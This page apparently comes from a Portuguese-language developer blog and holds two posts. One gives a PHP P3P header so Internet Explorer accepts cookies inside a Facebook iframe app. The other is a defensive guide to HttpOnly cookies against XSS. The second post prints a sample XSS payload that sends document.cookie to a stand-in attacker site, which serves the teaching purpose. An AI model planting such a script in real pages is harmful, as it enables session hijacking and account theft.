IE Problemas com cookies dentro de iframe (facebook)

Posted on setembro 16, 2012. Filed under: Facebook, Tips | Tags:, , , |

Introdução

Tive um problema um tanto quanto curioso. Após criar uma app no facebook e usá-la dentro de um Page Tab, que permite acessar a app dentro de uma fan page do facebook, tive um problema de acesso dentro da aplicação após a criação da sessão do facebook. O problema ocorre somente no IE, com a página da app sendo carregada dentro de um iframe. Na página inicial, após realizado o login no facebook, a aplicação direciona o usuário para uma página interna, onde somente usuários autenticados podem ter acesso. Em todos navegadores, a página interna funcionava perfeitamente. Menos o IE, que perdia a sessão do usuário após o login inicial. Porém, fora do Page Tab, ou seja, fora do iframe, a aplicação funcionava normalmente, até no IE.

Após pesquisas, descobri que por padrão o IE bloqueia third-party cookies. No caso o IE bloqueou os cookies que estavam sendo acessados dentro uma página que estava dentro de um iframe. É uma política de segurança que o IE adota, seguindo uma especificação do W3C conhecida como Platform for Privacy Preferences ou somente P3P. Para resolver o problema foi bem simples. Basta adicionar o header abaixo em todas as páginas php de sua aplicação que setam cookies. Esse header irá permitir que o IE aceite third-party cookies.

header('p3p: CP="ALL DSP COR PSAa PSDa OUR NOR ONL UNI COM NAV"');

Ah, lembre-se de setar o header no php antes de qualquer saída de texto.

Ler Post Completo | Make a Comment ( 7 so far )

Segurança, Cookies HTTPOnly !

Posted on janeiro 14, 2012. Filed under: JavaScript, PHP, Segurança | Tags:, , , |

Introdução

Muitos de nós já conhecemos ou já ouvimos falar de XSS (Cross-site Scripting). XSS é uma vulnerabilidade explorada em aplicações web onde uma usuário mal intencionado consegue injetar códigos javascripts em uma página que posteriormente será lida por um usuário qualquer. Brechas desse tipo podem ser encontrada em vários sites ou em aplicações web.

Um ataque muito explorado em XSS é o roubo dos cookies de sessão do usuário. O roubo dos cookies é realizado através de um comando javascript que envia os cookies para uma URL externa onde o usuário atacante tem controle.

Por exemplo, caso o atacante consiga inserir o código abaixo em uma aplicação onde não é realizado o tratamento correto ao exibir as informações para outro usuário, o código, ao invés de ser exibido na tela do usuário, será executado diretamente no navegador fazendo com que os cookies sejam enviados para o site do atacante.

<script type="text/javascript">
new Image().src="http://www.sitedoatacante.com.br/cookies.php?c="+encodeURI(document.cookie);
</script>

Em posse dos cookies, mas especificamente o cookie de sessão, o atacante pode entrar autenticado no site com as mesmas credenciais da vítima, sem que ela saiba.

Cookies HTTPOnly

Cookies HTTPOnly são cookies que podem ser setados pelo servidor ou por javascript porém não podem ser acessados de nenhuma forma por javascript. Para que seja efetiva a funcionalidade do HTTPOnly o navegador deve estar habilitado para isto. A maioria dos navegadores conhecidos respeitam esse parâmetro. Cookies com o parâmetro HTTPOnly dificultam bastante o roubo de sessão através de XSS pois o javascript não consegue ler o conteúdo destes cookies.

Para exemplificar, selecionei abaixo um exemplo de cabeçalho de uma resposta de requisição HTTP onde é setado um cookie com o parâmetro HTTPOnly:

HTTP/1.1 200 OK
Cache-Control: no-cache,private
Content-Length: 9190
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=owhxuuffabkl0n55uhkrwj45; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Wed, 11 Jan 2012 19:38:13 GMT

PHP e Cookies HTTPOnly

A partir do PHP 5.2.0, as funções setcookie e setrawcookie possuem o parâmetro que seta o HTTPOnly para o cookie que esta sendo criado:

Sintaxe das funções setcookie/setrawcookie:

setcookie ($name, $value, $expire, $path, $domain, $secure, $httponly);
setrawcookie ($name, $value, $expire, $path, $domain, $secure, $httponly);

Setando um cookie no PHP com a flag httpOnly habilitada:

setcookie("TesteCookie", "123456", 0, "/", "example.com", false, true);
setrawcookie("TesteCookie", "123456", 0, "/", "example.com", false, true); // setrawcookie não faz o urlencode no valor do cookie

Caso você queria setar um cookie manualmente utilizando a função header (Pode ser no caso você esteja usando uma versão do php anterior ao 5.2.0 que ainda não suporta httpOnly nas funções setcookie/setrawcookie):

header("Set-Cookie: nome=valor; path=/; httpOnly" );

Por padrão, ao criar uma sessão no PHP, é criado um cookie usado para controlar o acesso do usuário na sessão. Normalmente o cookie é chamado PHPSESSID. Na configuração padrão esse cookie não é httpOlny. Para ativar o parâmetro httpOnly no cookie de sessão do PHP, setar a diretiva session.cookie_httponly no php.ini para true:

session.cookie_httponly = true

Dessa forma você esta deixando sua aplicação mais segura, evitando possíveis ataques que exploram a vulnerabilidade XSS.

Ler Post Completo | Make a Comment ( 1 so far )

Liked it here?
Why not try sites on the blogroll...

%d blogueiros gostam disto: